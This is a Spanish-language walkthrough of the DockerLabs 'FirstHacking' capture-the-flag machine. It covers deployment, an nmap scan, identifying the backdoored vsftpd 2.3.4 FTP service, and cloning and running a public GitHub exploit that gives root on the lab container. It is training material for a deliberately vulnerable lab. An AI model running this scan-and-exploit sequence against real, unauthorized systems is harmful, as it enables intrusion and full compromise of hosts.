> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-muy-facil/firsthacking.md).

# FirstHacking

#### **Despliegue de la Máquina:**

**1. Descarga:**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **FirstHacking** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.

**2. Descompresión:**

Para extraer el contenido del archivo comprimido, utilizamos la herramienta `7z`:

```bash
7z x firsthacking.zip
```

<figure><img src="/files/R2VHRHClbHpR4gCzsjSf" alt=""><figcaption></figcaption></figure>

**3. Ejecución:**

Ejecutamos el script `auto_deploy.sh` para desplegar la máquina en Docker:

```bash
bash auto_deploy.sh firsthacking.tar
```

Al finalizar, el script nos proporciona la dirección IP interna de la máquina (`172.17.0.2`), que utilizaremos para interactuar con ella.

<figure><img src="/files/G6ZwDR2i2ja8RVmRp9Zu" alt=""><figcaption></figcaption></figure>

***

#### **Reconocimiento:**

**1. Verificación de Conectividad:**

Antes de comenzar, es esencial confirmar que la máquina objetivo está accesible. Utilizamos el comando `ping` para verificar la conectividad:

```bash
ping -c 1 172.17.0.2
```

El valor `TTL=64` indica que el sistema operativo es **Linux**.

<figure><img src="/files/aFEnk8S6aIl1c3gZP1KC" alt=""><figcaption></figcaption></figure>

**2. Escaneo de Puertos:**

Realizamos un escaneo de puertos abiertos con `nmap` utilizando los siguientes parámetros:

* `-p-`: Escanea todos los puertos (1-65535).
* `--open`: Muestra solo los puertos abiertos.
* `-sS`: Escaneo sigiloso (SYN scan).
* `--min-rate 5000`: Acelera el escaneo.
* `-vvv`: Salida detallada.
* `-n`: Evita la resolución DNS.
* `-Pn`: Omite el descubrimiento de hosts (asume que el host está activo).

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

**Resultado:**

* **Puerto 21:** `FTP`.

<figure><img src="/files/enjeeEzhWgTjQxbm58oP" alt=""><figcaption></figcaption></figure>

**3. Análisis del Servicio FTP:**

Para obtener más detalles sobre el servicio FTP, realizamos un escaneo exhaustivo del puerto 21:

```bash
nmap -p21 -sCV 172.17.0.2 -oN targeted
```

El servicio FTP corresponde a la versión **vsftpd 2.3.4**, la cual es conocida por ser vulnerable a un backdoor que permite ejecución remota de comandos (RCE).

<figure><img src="/files/WOLdnJgP6tLnqa5lukGa" alt=""><figcaption></figcaption></figure>

***

#### **Explotación:**

**1. Búsqueda del Exploit:**

Dado que la versión de vsftpd es vulnerable, buscamos un exploit público en GitHub. Encontramos el repositorio [vsftpd\_2.3.4\_Exploit](https://github.com/Hellsender01/vsftpd_2.3.4_Exploit), el cual contiene un script en Python para explotar esta vulnerabilidad.

**2. Clonación y Preparación del Exploit:**

Clonamos el repositorio en nuestro equipo:

```bash
git clone https://github.com/Hellsender01/vsftpd_2.3.4_Exploit.git
```

<figure><img src="/files/wS857cl2834psFSN8i3D" alt=""><figcaption></figcaption></figure>

Accedemos al directorio del exploit y le asignamos permisos de ejecución:

```bash
cd vsftpd_2.3.4_Exploit/
```

```bash
chmod +x exploit.py
```

<figure><img src="/files/9wsNdHwZJ6b8m2ek3jbp" alt=""><figcaption></figcaption></figure>

**3. Ejecución del Exploit:**

Ejecutamos el script proporcionando la dirección IP de la máquina objetivo:

```bash
python3 exploit.py 172.17.0.2
```

El exploit aprovecha la vulnerabilidad del backdoor en **vsftpd 2.3.4**, otorgándonos acceso al sistema como el usuario `root`.

<figure><img src="/files/RHAnoW1GKMYfMgFo6igV" alt=""><figcaption></figcaption></figure>
